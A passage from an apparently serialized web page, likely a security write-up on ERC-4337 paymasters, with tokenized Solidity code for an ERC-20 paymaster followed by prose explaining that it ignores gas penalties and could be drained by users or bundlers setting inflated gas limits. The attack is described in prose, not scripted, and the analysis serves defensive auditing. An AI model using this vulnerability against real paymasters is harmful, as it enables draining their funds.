markup\n",{"type":22,"tag":118,"props":104987,"children":104988},{"class":120,"line":492},[104989,104993,104998,105002,105007,105011,105016,105020],{"type":22,"tag":118,"props":104990,"children":104991},{"style":131},[104992],{"type":28,"value":104724},{"type":22,"tag":118,"props":104994,"children":104995},{"style":125},[104996],{"type":28,"value":104997}," cachedPriceWithMarkup ",{"type":22,"tag":118,"props":104999,"children":105000},{"style":210},[105001],{"type":28,"value":282},{"type":22,"tag":118,"props":105003,"children":105004},{"style":125},[105005],{"type":28,"value":105006}," cachedPrice ",{"type":22,"tag":118,"props":105008,"children":105009},{"style":210},[105010],{"type":28,"value":671},{"type":22,"tag":118,"props":105012,"children":105013},{"style":125},[105014],{"type":28,"value":105015}," DENOM ",{"type":22,"tag":118,"props":105017,"children":105018},{"style":210},[105019],{"type":28,"value":888},{"type":22,"tag":118,"props":105021,"children":105022},{"style":125},[105023],{"type":28,"value":105024}," priceMarkup;\n",{"type":22,"tag":118,"props":105026,"children":105027},{"class":120,"line":501},[105028,105032,105037,105041,105045],{"type":22,"tag":118,"props":105029,"children":105030},{"style":1480},[105031],{"type":28,"value":60742},{"type":22,"tag":118,"props":105033,"children":105034},{"style":125},[105035],{"type":28,"value":105036}," (dataLength ",{"type":22,"tag":118,"props":105038,"children":105039},{"style":210},[105040],{"type":28,"value":302},{"type":22,"tag":118,"props":105042,"children":105043},{"style":674},[105044],{"type":28,"value":104827},{"type":22,"tag":118,"props":105046,"children":105047},{"style":125},[105048],{"type":28,"value":16783},{"type":22,"tag":118,"props":105050,"children":105051},{"class":120,"line":519},[105052,105057,105062],{"type":22,"tag":118,"props":105053,"children":105054},{"style":131},[105055],{"type":28,"value":105056},"                uint256",{"type":22,"tag":118,"props":105058,"children":105059},{"style":125},[105060],{"type":28,"value":105061}," clientSuppliedPrice ",{"type":22,"tag":118,"props":105063,"children":105064},{"style":210},[105065],{"type":28,"value":16672},{"type":22,"tag":118,"props":105067,"children":105068},{"class":120,"line":606},[105069,105074,105078,105082,105087,105091,105096,105100,105104],{"type":22,"tag":118,"props":105070,"children":105071},{"style":131},[105072],{"type":28,"value":105073},"                    uint256",{"type":22,"tag":118,"props":105075,"children":105076},{"style":125},[105077],{"type":28,"value":540},{"type":22,"tag":118,"props":105079,"children":105080},{"style":131},[105081],{"type":28,"value":104622},{"type":22,"tag":118,"props":105083,"children":105084},{"style":125},[105085],{"type":28,"value":105086},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":22,"tag":118,"props":105088,"children":105089},{"style":210},[105090],{"type":28,"value":213},{"type":22,"tag":118,"props":105092,"children":105093},{"style":125},[105094],{"type":28,"value":105095},"PAYMASTER_DATA_OFFSET ",{"type":22,"tag":118,"props":105097,"children":105098},{"style":210},[105099],{"type":28,"value":3220},{"type":22,"tag":118,"props":105101,"children":105102},{"style":674},[105103],{"type":28,"value":104827},{"type":22,"tag":118,"props":105105,"children":105106},{"style":125},[105107],{"type":28,"value":105108},"]));\n",{"type":22,"tag":118,"props":105110,"children":105111},{"class":120,"line":615},[105112,105117,105122,105126],{"type":22,"tag":118,"props":105113,"children":105114},{"style":1480},[105115],{"type":28,"value":105116},"                if",{"type":22,"tag":118,"props":105118,"children":105119},{"style":125},[105120],{"type":28,"value":105121}," (clientSuppliedPrice ",{"type":22,"tag":118,"props":105123,"children":105124},{"style":210},[105125],{"type":28,"value":559},{"type":22,"tag":118,"props":105127,"children":105128},{"style":125},[105129],{"type":28,"value":105130}," cachedPriceWithMarkup) {\n",{"type":22,"tag":118,"props":105132,"children":105133},{"class":120,"line":685},[105134,105139,105143],{"type":22,"tag":118,"props":105135,"children":105136},{"style":257},[105137],{"type":28,"value":105138},"                    // ",{"type":22,"tag":118,"props":105140,"children":105141},{"style":146},[105142],{"type":28,"value":68700},{"type":22,"tag":118,"props":105144,"children":105145},{"style":257},[105146],{"type":28,"value":105147},": smaller number means 'more native asset per token'\n",{"type":22,"tag":118,"props":105149,"children":105150},{"class":120,"line":699},[105151,105156,105160],{"type":22,"tag":118,"props":105152,"children":105153},{"style":125},[105154],{"type":28,"value":105155},"                    cachedPriceWithMarkup ",{"type":22,"tag":118,"props":105157,"children":105158},{"style":210},[105159],{"type":28,"value":282},{"type":22,"tag":118,"props":105161,"children":105162},{"style":125},[105163],{"type":28,"value":105164}," clientSuppliedPrice;\n",{"type":22,"tag":118,"props":105166,"children":105167},{"class":120,"line":729},[105168],{"type":22,"tag":118,"props":105169,"children":105170},{"style":125},[105171],{"type":28,"value":1819},{"type":22,"tag":118,"props":105173,"children":105174},{"class":120,"line":771},[105175],{"type":22,"tag":118,"props":105176,"children":105177},{"style":125},[105178],{"type":28,"value":1827},{"type":22,"tag":118,"props":105180,"children":105181},{"class":120,"line":785},[105182,105186,105191,105195,105200],{"type":22,"tag":118,"props":105183,"children":105184},{"style":131},[105185],{"type":28,"value":104724},{"type":22,"tag":118,"props":105187,"children":105188},{"style":125},[105189],{"type":28,"value":105190}," tokenAmount ",{"type":22,"tag":118,"props":105192,"children":105193},{"style":210},[105194],{"type":28,"value":282},{"type":22,"tag":118,"props":105196,"children":105197},{"style":532},[105198],{"type":28,"value":105199}," weiToToken",{"type":22,"tag":118,"props":105201,"children":105202},{"style":125},[105203],{"type":28,"value":105204},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":22,"tag":118,"props":105206,"children":105207},{"class":120,"line":804},[105208,105213,105217],{"type":22,"tag":118,"props":105209,"children":105210},{"style":125},[105211],{"type":28,"value":105212},"            tokenAmount ",{"type":22,"tag":118,"props":105214,"children":105215},{"style":210},[105216],{"type":28,"value":70376},{"type":22,"tag":118,"props":105218,"children":105219},{"style":125},[105220],{"type":28,"value":105221}," baseFee;\n",{"type":22,"tag":118,"props":105223,"children":105224},{"class":120,"line":812},[105225,105230,105235,105240,105244,105248,105252],{"type":22,"tag":118,"props":105226,"children":105227},{"style":125},[105228],{"type":28,"value":105229},"            SafeERC20.",{"type":22,"tag":118,"props":105231,"children":105232},{"style":532},[105233],{"type":28,"value":105234},"safeTransferFrom",{"type":22,"tag":118,"props":105236,"children":105237},{"style":125},[105238],{"type":28,"value":105239},"(token, userOp.sender, ",{"type":22,"tag":118,"props":105241,"children":105242},{"style":131},[105243],{"type":28,"value":34579},{"type":22,"tag":118,"props":105245,"children":105246},{"style":125},[105247],{"type":28,"value":540},{"type":22,"tag":118,"props":105249,"children":105250},{"style":146},[105251],{"type":28,"value":19658},{"type":22,"tag":118,"props":105253,"children":105254},{"style":125},[105255],{"type":28,"value":105256},"), tokenAmount);\n",{"type":22,"tag":118,"props":105258,"children":105259},{"class":120,"line":821},[105260,105265,105269,105274,105278,105283],{"type":22,"tag":118,"props":105261,"children":105262},{"style":125},[105263],{"type":28,"value":105264},"            context ",{"type":22,"tag":118,"props":105266,"children":105267},{"style":210},[105268],{"type":28,"value":282},{"type":22,"tag":118,"props":105270,"children":105271},{"style":146},[105272],{"type":28,"value":105273}," abi",{"type":22,"tag":118,"props":105275,"children":105276},{"style":125},[105277],{"type":28,"value":292},{"type":22,"tag":118,"props":105279,"children":105280},{"style":532},[105281],{"type":28,"value":105282},"encode",{"type":22,"tag":118,"props":105284,"children":105285},{"style":125},[105286],{"type":28,"value":105287},"(tokenAmount, userOp.sender);\n",{"type":22,"tag":118,"props":105289,"children":105290},{"class":120,"line":900},[105291,105296],{"type":22,"tag":118,"props":105292,"children":105293},{"style":125},[105294],{"type":28,"value":105295},"            validationResult ",{"type":22,"tag":118,"props":105297,"children":105298},{"style":210},[105299],{"type":28,"value":16672},{"type":22,"tag":118,"props":105301,"children":105302},{"class":120,"line":913},[105303,105308,105312,105316,105320,105325,105330,105334,105339,105343],{"type":22,"tag":118,"props":105304,"children":105305},{"style":532},[105306],{"type":28,"value":105307},"                _packValidationData",{"type":22,"tag":118,"props":105309,"children":105310},{"style":125},[105311],{"type":28,"value":540},{"type":22,"tag":118,"props":105313,"children":105314},{"style":146},[105315],{"type":28,"value":10179},{"type":22,"tag":118,"props":105317,"children":105318},{"style":125},[105319],{"type":28,"value":231},{"type":22,"tag":118,"props":105321,"children":105322},{"style":131},[105323],{"type":28,"value":105324},"uint48",{"type":22,"tag":118,"props":105326,"children":105327},{"style":125},[105328],{"type":28,"value":105329},"(cachedPriceTimestamp ",{"type":22,"tag":118,"props":105331,"children":105332},{"style":210},[105333],{"type":28,"value":3220},{"type":22,"tag":118,"props":105335,"children":105336},{"style":125},[105337],{"type":28,"value":105338}," tokenPaymasterConfig.priceMaxAge), ",{"type":22,"tag":118,"props":105340,"children":105341},{"style":674},[105342],{"type":28,"value":6036},{"type":22,"tag":118,"props":105344,"children":105345},{"style":125},[105346],{"type":28,"value":682},{"type":22,"tag":118,"props":105348,"children":105349},{"class":120,"line":953},[105350],{"type":22,"tag":118,"props":105351,"children":105352},{"style":125},[105353],{"type":28,"value":1835},{"type":22,"tag":118,"props":105355,"children":105356},{"class":120,"line":982},[105357],{"type":22,"tag":118,"props":105358,"children":105359},{"style":125},[105360],{"type":28,"value":1254},{"type":22,"tag":118,"props":105362,"children":105363},{"class":120,"line":995},[105364],{"type":22,"tag":118,"props":105365,"children":105366},{"style":125},[105367],{"type":28,"value":12317},{"type":22,"tag":118,"props":105369,"children":105370},{"class":120,"line":1011},[105371,105375,105380,105384,105389,105393,105397,105401,105405,105409,105413,105418,105422,105426,105431],{"type":22,"tag":118,"props":105372,"children":105373},{"style":146},[105374],{"type":28,"value":91427},{"type":22,"tag":118,"props":105376,"children":105377},{"style":532},[105378],{"type":28,"value":105379}," _postOp",{"type":22,"tag":118,"props":105381,"children":105382},{"style":125},[105383],{"type":28,"value":540},{"type":22,"tag":118,"props":105385,"children":105386},{"style":146},[105387],{"type":28,"value":105388},"PostOpMode",{"type":22,"tag":118,"props":105390,"children":105391},{"style":125},[105392],{"type":28,"value":231},{"type":22,"tag":118,"props":105394,"children":105395},{"style":131},[105396],{"type":28,"value":85424},{"type":22,"tag":118,"props":105398,"children":105399},{"style":146},[105400],{"type":28,"value":104608},{"type":22,"tag":118,"props":105402,"children":105403},{"style":204},[105404],{"type":28,"value":77936},{"type":22,"tag":118,"props":105406,"children":105407},{"style":125},[105408],{"type":28,"value":231},{"type":22,"tag":118,"props":105410,"children":105411},{"style":131},[105412],{"type":28,"value":48108},{"type":22,"tag":118,"props":105414,"children":105415},{"style":204},[105416],{"type":28,"value":105417}," actualGasCost",{"type":22,"tag":118,"props":105419,"children":105420},{"style":125},[105421],{"type":28,"value":231},{"type":22,"tag":118,"props":105423,"children":105424},{"style":131},[105425],{"type":28,"value":48108},{"type":22,"tag":118,"props":105427,"children":105428},{"style":204},[105429],{"type":28,"value":105430}," actualUserOpFeePerGas",{"type":22,"tag":118,"props":105432,"children":105433},{"style":125},[105434],{"type":28,"value":3665},{"type":22,"tag":118,"props":105436,"children":105437},{"class":120,"line":1019},[105438],{"type":22,"tag":118,"props":105439,"children":105440},{"style":146},[105441],{"type":28,"value":104647},{"type":22,"tag":118,"props":105443,"children":105444},{"class":120,"line":1028},[105445],{"type":22,"tag":118,"props":105446,"children":105447},{"style":146},[105448],{"type":28,"value":104655},{"type":22,"tag":118,"props":105450,"children":105451},{"class":120,"line":1101},[105452],{"type":22,"tag":118,"props":105453,"children":105454},{"style":125},[105455],{"type":28,"value":31125},{"type":22,"tag":118,"props":105457,"children":105458},{"class":120,"line":1146},[105459,105463],{"type":22,"tag":118,"props":105460,"children":105461},{"style":1480},[105462],{"type":28,"value":104712},{"type":22,"tag":118,"props":105464,"children":105465},{"style":125},[105466],{"type":28,"value":1474},{"type":22,"tag":118,"props":105468,"children":105469},{"class":120,"line":1226},[105470,105474,105478,105482],{"type":22,"tag":118,"props":105471,"children":105472},{"style":131},[105473],{"type":28,"value":104724},{"type":22,"tag":118,"props":105475,"children":105476},{"style":125},[105477],{"type":28,"value":104729},{"type":22,"tag":118,"props":105479,"children":105480},{"style":210},[105481],{"type":28,"value":282},{"type":22,"tag":118,"props":105483,"children":105484},{"style":125},[105485],{"type":28,"value":104738},{"type":22,"tag":118,"props":105487,"children":105488},{"class":120,"line":1234},[105489,105493,105497,105501],{"type":22,"tag":118,"props":105490,"children":105491},{"style":131},[105492],{"type":28,"value":104724},{"type":22,"tag":118,"props":105494,"children":105495},{"style":125},[105496],{"type":28,"value":104750},{"type":22,"tag":118,"props":105498,"children":105499},{"style":210},[105500],{"type":28,"value":282},{"type":22,"tag":118,"props":105502,"children":105503},{"style":125},[105504],{"type":28,"value":104759},{"type":22,"tag":118,"props":105506,"children":105507},{"class":120,"line":1248},[105508,105513,105517,105522,105526,105531,105535,105539,105543,105548,105553,105557,105561,105565],{"type":22,"tag":118,"props":105509,"children":105510},{"style":125},[105511],{"type":28,"value":105512},"            (",{"type":22,"tag":118,"props":105514,"children":105515},{"style":131},[105516],{"type":28,"value":48108},{"type":22,"tag":118,"props":105518,"children":105519},{"style":125},[105520],{"type":28,"value":105521}," preCharge, ",{"type":22,"tag":118,"props":105523,"children":105524},{"style":131},[105525],{"type":28,"value":34579},{"type":22,"tag":118,"props":105527,"children":105528},{"style":125},[105529],{"type":28,"value":105530}," userOpSender) ",{"type":22,"tag":118,"props":105532,"children":105533},{"style":210},[105534],{"type":28,"value":282},{"type":22,"tag":118,"props":105536,"children":105537},{"style":146},[105538],{"type":28,"value":105273},{"type":22,"tag":118,"props":105540,"children":105541},{"style":125},[105542],{"type":28,"value":292},{"type":22,"tag":118,"props":105544,"children":105545},{"style":532},[105546],{"type":28,"value":105547},"decode",{"type":22,"tag":118,"props":105549,"children":105550},{"style":125},[105551],{"type":28,"value":105552},"(context, (",{"type":22,"tag":118,"props":105554,"children":105555},{"style":131},[105556],{"type":28,"value":48108},{"type":22,"tag":118,"props":105558,"children":105559},{"style":125},[105560],{"type":28,"value":231},{"type":22,"tag":118,"props":105562,"children":105563},{"style":131},[105564],{"type":28,"value":34579},{"type":22,"tag":118,"props":105566,"children":105567},{"style":125},[105568],{"type":28,"value":9230},{"type":22,"tag":118,"props":105570,"children":105571},{"class":120,"line":1257},[105572,105577,105582,105587],{"type":22,"tag":118,"props":105573,"children":105574},{"style":125},[105575],{"type":28,"value":105576},"            preCharge ",{"type":22,"tag":118,"props":105578,"children":105579},{"style":210},[105580],{"type":28,"value":105581},"-=",{"type":22,"tag":118,"props":105583,"children":105584},{"style":125},[105585],{"type":28,"value":105586}," baseFee; ",{"type":22,"tag":118,"props":105588,"children":105589},{"style":257},[105590],{"type":28,"value":105591},"// don't refund the base fee\n",{"type":22,"tag":118,"props":105593,"children":105594},{"class":120,"line":25765},[105595,105599,105604,105608,105613,105617,105621],{"type":22,"tag":118,"props":105596,"children":105597},{"style":131},[105598],{"type":28,"value":104724},{"type":22,"tag":118,"props":105600,"children":105601},{"style":125},[105602],{"type":28,"value":105603}," _cachedPrice ",{"type":22,"tag":118,"props":105605,"children":105606},{"style":210},[105607],{"type":28,"value":282},{"type":22,"tag":118,"props":105609,"children":105610},{"style":532},[105611],{"type":28,"value":105612}," updateCachedPrice",{"type":22,"tag":118,"props":105614,"children":105615},{"style":125},[105616],{"type":28,"value":540},{"type":22,"tag":118,"props":105618,"children":105619},{"style":146},[105620],{"type":28,"value":10179},{"type":22,"tag":118,"props":105622,"children":105623},{"style":125},[105624],{"type":28,"value":682},{"type":22,"tag":118,"props":105626,"children":105627},{"class":120,"line":25778},[105628,105632,105636],{"type":22,"tag":118,"props":105629,"children":105630},{"style":257},[105631],{"type":28,"value":104976},{"type":22,"tag":118,"props":105633,"children":105634},{"style":146},[105635],{"type":28,"value":68700},{"type":22,"tag":118,"props":105637,"children":105638},{"style":257},[105639],{"type":28,"value":104985},{"type":22,"tag":118,"props":105641,"children":105642},{"class":120,"line":25791},[105643,105647,105651,105655,105659,105663,105667,105671],{"type":22,"tag":118,"props":105644,"children":105645},{"style":131},[105646],{"type":28,"value":104724},{"type":22,"tag":118,"props":105648,"children":105649},{"style":125},[105650],{"type":28,"value":104997},{"type":22,"tag":118,"props":105652,"children":105653},{"style":210},[105654],{"type":28,"value":282},{"type":22,"tag":118,"props":105656,"children":105657},{"style":125},[105658],{"type":28,"value":105603},{"type":22,"tag":118,"props":105660,"children":105661},{"style":210},[105662],{"type":28,"value":671},{"type":22,"tag":118,"props":105664,"children":105665},{"style":125},[105666],{"type":28,"value":105015},{"type":22,"tag":118,"props":105668,"children":105669},{"style":210},[105670],{"type":28,"value":888},{"type":22,"tag":118,"props":105672,"children":105673},{"style":125},[105674],{"type":28,"value":105024},{"type":22,"tag":118,"props":105676,"children":105677},{"class":120,"line":25804},[105678],{"type":22,"tag":118,"props":105679,"children":105680},{"style":257},[105681],{"type":28,"value":105682},"            // Refund tokens based on actual gas cost\n",{"type":22,"tag":118,"props":105684,"children":105685},{"class":120,"line":25858},[105686,105690,105695,105699,105704,105708,105713,105717],{"type":22,"tag":118,"props":105687,"children":105688},{"style":131},[105689],{"type":28,"value":104724},{"type":22,"tag":118,"props":105691,"children":105692},{"style":125},[105693],{"type":28,"value":105694}," actualChargeNative ",{"type":22,"tag":118,"props":105696,"children":105697},{"style":210},[105698],{"type":28,"value":282},{"type":22,"tag":118,"props":105700,"children":105701},{"style":125},[105702],{"type":28,"value":105703}," actualGasCost ",{"type":22,"tag":118,"props":105705,"children":105706},{"style":210},[105707],{"type":28,"value":3220},{"type":22,"tag":118,"props":105709,"children":105710},{"style":125},[105711],{"type":28,"value":105712}," tokenPaymasterConfig.refundPostopCost ",{"type":22,"tag":118,"props":105714,"children":105715},{"style":210},[105716],{"type":28,"value":671},{"type":22,"tag":118,"props":105718,"children":105719},{"style":125},[105720],{"type":28,"value":105721}," actualUserOpFeePerGas;\n",{"type":22,"tag":118,"props":105723,"children":105724},{"class":120,"line":25867},[105725,105729,105734,105738,105742],{"type":22,"tag":118,"props":105726,"children":105727},{"style":131},[105728],{"type":28,"value":104724},{"type":22,"tag":118,"props":105730,"children":105731},{"style":125},[105732],{"type":28,"value":105733}," actualTokenNeeded ",{"type":22,"tag":118,"props":105735,"children":105736},{"style":210},[105737],{"type":28,"value":282},{"type":22,"tag":118,"props":105739,"children":105740},{"style":532},[105741],{"type":28,"value":105199},{"type":22,"tag":118,"props":105743,"children":105744},{"style":125},[105745],{"type":28,"value":105746},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":22,"tag":118,"props":105748,"children":105749},{"class":120,"line":34219},[105750,105754,105759,105763],{"type":22,"tag":118,"props":105751,"children":105752},{"style":1480},[105753],{"type":28,"value":60742},{"type":22,"tag":118,"props":105755,"children":105756},{"style":125},[105757],{"type":28,"value":105758}," (preCharge ",{"type":22,"tag":118,"props":105760,"children":105761},{"style":210},[105762],{"type":28,"value":12460},{"type":22,"tag":118,"props":105764,"children":105765},{"style":125},[105766],{"type":28,"value":105767}," actualTokenNeeded) {\n",{"type":22,"tag":118,"props":105769,"children":105770},{"class":120,"line":34240},[105771],{"type":22,"tag":118,"props":105772,"children":105773},{"style":257},[105774],{"type":28,"value":105775},"                // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":22,"tag":118,"props":105777,"children":105778},{"class":120,"line":82547},[105779,105784,105789,105794,105798],{"type":22,"tag":118,"props":105780,"children":105781},{"style":125},[105782],{"type":28,"value":105783},"                SafeERC20.",{"type":22,"tag":118,"props":105785,"children":105786},{"style":532},[105787],{"type":28,"value":105788},"safeTransfer",{"type":22,"tag":118,"props":105790,"children":105791},{"style":125},[105792],{"type":28,"value":105793},"(token, userOpSender, preCharge ",{"type":22,"tag":118,"props":105795,"children":105796},{"style":210},[105797],{"type":28,"value":6340},{"type":22,"tag":118,"props":105799,"children":105800},{"style":125},[105801],{"type":28,"value":105802}," actualTokenNeeded);\n",{"type":22,"tag":118,"props":105804,"children":105805},{"class":120,"line":82560},[105806,105810,105814,105818,105822,105826],{"type":22,"tag":118,"props":105807,"children":105808},{"style":125},[105809],{"type":28,"value":1611},{"type":22,"tag":118,"props":105811,"children":105812},{"style":1480},[105813],{"type":28,"value":5335},{"type":22,"tag":118,"props":105815,"children":105816},{"style":1480},[105817],{"type":28,"value":17755},{"type":22,"tag":118,"props":105819,"children":105820},{"style":125},[105821],{"type":28,"value":105758},{"type":22,"tag":118,"props":105823,"children":105824},{"style":210},[105825],{"type":28,"value":559},{"type":22,"tag":118,"props":105827,"children":105828},{"style":125},[105829],{"type":28,"value":105767},{"type":22,"tag":118,"props":105831,"children":105832},{"class":120,"line":82568},[105833],{"type":22,"tag":118,"props":105834,"children":105835},{"style":257},[105836],{"type":28,"value":105837},"                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":22,"tag":118,"props":105839,"children":105840},{"class":120,"line":82576},[105841],{"type":22,"tag":118,"props":105842,"children":105843},{"style":257},[105844],{"type":28,"value":105845},"                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":22,"tag":118,"props":105847,"children":105848},{"class":120,"line":82584},[105849,105853,105857,105862,105866,105870,105874,105879,105883],{"type":22,"tag":118,"props":105850,"children":105851},{"style":125},[105852],{"type":28,"value":105783},{"type":22,"tag":118,"props":105854,"children":105855},{"style":532},[105856],{"type":28,"value":105234},{"type":22,"tag":118,"props":105858,"children":105859},{"style":125},[105860],{"type":28,"value":105861},"(token, userOpSender, ",{"type":22,"tag":118,"props":105863,"children":105864},{"style":131},[105865],{"type":28,"value":34579},{"type":22,"tag":118,"props":105867,"children":105868},{"style":125},[105869],{"type":28,"value":540},{"type":22,"tag":118,"props":105871,"children":105872},{"style":146},[105873],{"type":28,"value":19658},{"type":22,"tag":118,"props":105875,"children":105876},{"style":125},[105877],{"type":28,"value":105878},"), actualTokenNeeded ",{"type":22,"tag":118,"props":105880,"children":105881},{"style":210},[105882],{"type":28,"value":6340},{"type":22,"tag":118,"props":105884,"children":105885},{"style":125},[105886],{"type":28,"value":105887}," preCharge);\n",{"type":22,"tag":118,"props":105889,"children":105890},{"class":120,"line":82624},[105891],{"type":22,"tag":118,"props":105892,"children":105893},{"style":125},[105894],{"type":28,"value":1827},{"type":22,"tag":118,"props":105896,"children":105897},{"class":120,"line":82632},[105898],{"type":22,"tag":118,"props":105899,"children":105900},{"emptyLinePlaceholder":15},[105901],{"type":28,"value":250},{"type":22,"tag":118,"props":105903,"children":105904},{"class":120,"line":89819},[105905,105909,105914,105918,105922],{"type":22,"tag":118,"props":105906,"children":105907},{"style":1480},[105908],{"type":28,"value":60742},{"type":22,"tag":118,"props":105910,"children":105911},{"style":125},[105912],{"type":28,"value":105913}," (baseFee ",{"type":22,"tag":118,"props":105915,"children":105916},{"style":210},[105917],{"type":28,"value":12460},{"type":22,"tag":118,"props":105919,"children":105920},{"style":674},[105921],{"type":28,"value":5074},{"type":22,"tag":118,"props":105923,"children":105924},{"style":125},[105925],{"type":28,"value":16783},{"type":22,"tag":118,"props":105927,"children":105928},{"class":120,"line":89827},[105929,105933,105937],{"type":22,"tag":118,"props":105930,"children":105931},{"style":125},[105932],{"type":28,"value":105783},{"type":22,"tag":118,"props":105934,"children":105935},{"style":532},[105936],{"type":28,"value":105788},{"type":22,"tag":118,"props":105938,"children":105939},{"style":125},[105940],{"type":28,"value":105941},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":22,"tag":118,"props":105943,"children":105944},{"class":120,"line":103173},[105945],{"type":22,"tag":118,"props":105946,"children":105947},{"style":125},[105948],{"type":28,"value":1827},{"type":22,"tag":118,"props":105950,"children":105951},{"class":120,"line":103181},[105952],{"type":22,"tag":118,"props":105953,"children":105954},{"emptyLinePlaceholder":15},[105955],{"type":28,"value":250},{"type":22,"tag":118,"props":105957,"children":105958},{"class":120,"line":103189},[105959,105964,105969],{"type":22,"tag":118,"props":105960,"children":105961},{"style":1480},[105962],{"type":28,"value":105963},"            emit",{"type":22,"tag":118,"props":105965,"children":105966},{"style":532},[105967],{"type":28,"value":105968}," UserOperationSponsored",{"type":22,"tag":118,"props":105970,"children":105971},{"style":125},[105972],{"type":28,"value":105973},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":22,"tag":118,"props":105975,"children":105976},{"class":120,"line":103197},[105977,105982],{"type":22,"tag":118,"props":105978,"children":105979},{"style":532},[105980],{"type":28,"value":105981},"            refillEntryPointDeposit",{"type":22,"tag":118,"props":105983,"children":105984},{"style":125},[105985],{"type":28,"value":105986},"(_cachedPrice);\n",{"type":22,"tag":118,"props":105988,"children":105989},{"class":120,"line":103225},[105990],{"type":22,"tag":118,"props":105991,"children":105992},{"style":125},[105993],{"type":28,"value":1835},{"type":22,"tag":118,"props":105995,"children":105997},{"class":120,"line":105996},67,[105998],{"type":22,"tag":118,"props":105999,"children":106000},{"style":125},[106001],{"type":28,"value":1254},{"type":22,"tag":118,"props":106003,"children":106005},{"class":120,"line":106004},68,[106006],{"type":22,"tag":118,"props":106007,"children":106008},{"style":125},[106009],{"type":28,"value":481},{"type":22,"tag":31,"props":106011,"children":106012},{},[106013,106015,106021,106023,106028,106030,106036],{"type":28,"value":106014},"Looking at the code above, during ",{"type":22,"tag":114,"props":106016,"children":106018},{"className":106017},[],[106019],{"type":28,"value":106020},"validatePaymasterUserOp",{"type":28,"value":106022},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":22,"tag":114,"props":106024,"children":106026},{"className":106025},[],[106027],{"type":28,"value":104079},{"type":28,"value":106029}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":22,"tag":114,"props":106031,"children":106033},{"className":106032},[],[106034],{"type":28,"value":106035},"postOp",{"type":28,"value":106037},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":22,"tag":31,"props":106039,"children":106040},{},[106041,106043,106048,106050,106057],{"type":28,"value":106042},"However, there is a critical oversight: ",{"type":22,"tag":74,"props":106044,"children":106045},{},[106046],{"type":28,"value":106047},"the code does not account for gas penalties",{"type":28,"value":106049},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":22,"tag":42,"props":106051,"children":106054},{"href":106052,"rel":106053},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[46],[106055],{"type":28,"value":106056},"penalties incurred",{"type":28,"value":106058}," from differences between the execution gas limit and actual execution gas.",{"type":22,"tag":31,"props":106060,"children":106061},{},[106062],{"type":28,"value":106063},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":22,"tag":31,"props":106065,"children":106066},{},[106067,106069,106074],{"type":28,"value":106068},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":22,"tag":114,"props":106070,"children":106072},{"className":106071},[],[106073],{"type":28,"value":103778},{"type":28,"value":106075}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":22,"tag":23,"props":106077,"children":106079},{"id":106078},"incorrect-erc-20-handling",[106080],{"type":22,"tag":74,"props":106081,"children":106082},{},[106083],{"type":28,"value":106084},"Incorrect ERC-20 Handling",{"type":22,"tag":31,"props":106086,"children":106087},{},[106088],{"type":28,"value":106089},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":22,"tag":31,"props":106091,"children":106092},{},[106093,106094,106099,106101,106106],{"type":28,"value":47236},{"type":22,"tag":114,"props":106095,"children":106097},{"className":106096},[],[106098],{"type":28,"value":103859},{"type":28,"value":106100}," flow above, we can see that paymasters have two key interaction points during a ",{"type":22,"tag":114,"props":106102,"children":106104},{"className":106103},[],[106105],{"type":28,"value":103778},{"type":28,"value":106107},"'s lifecycle:",{"type":22,"tag":4029,"props":106109,"children":106110},{},[106111,106121],{"type":22,"tag":68,"props":106112,"children":106113},{},[106114,106116],{"type":28,"value":106115},"During validation via ",{"type":22,"tag":114,"props":106117,"children":106119},{"className":106118},[],[106120],{"type":28,"value":103966},{"type":22,"tag":68,"props":106122,"children":106123},{},[106124,106126],{"type":28,"value":106125},"After execution via ",{"type":22,"tag":114,"props":106127,"children":106129},{"className":106128},[],[106130],{"type":28,"value":103977},{"type":22,"tag":31,"props":106132,"children":106133},{},[106134],{"type":28,"value":106135},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":22,"tag":1289,"props":106137,"children":106139},{"id":106138},"_1-pre-payment-with-refund-pattern",[106140],{"type":28,"value":106141},"1. Pre-Payment with Refund Pattern",{"type":22,"tag":31,"props":106143,"children":106144},{},[106145,106147,106152,106154,106159,106161,106167,106168,106174,106176,106181,106183,106188,106190,106195],{"type":28,"value":106146},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":22,"tag":114,"props":106148,"children":106150},{"className":106149},[],[106151],{"type":28,"value":103966},{"type":28,"value":106153},". After execution completes, ",{"type":22,"tag":114,"props":106155,"children":106157},{"className":106156},[],[106158],{"type":28,"value":103977},{"type":28,"value":106160}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like 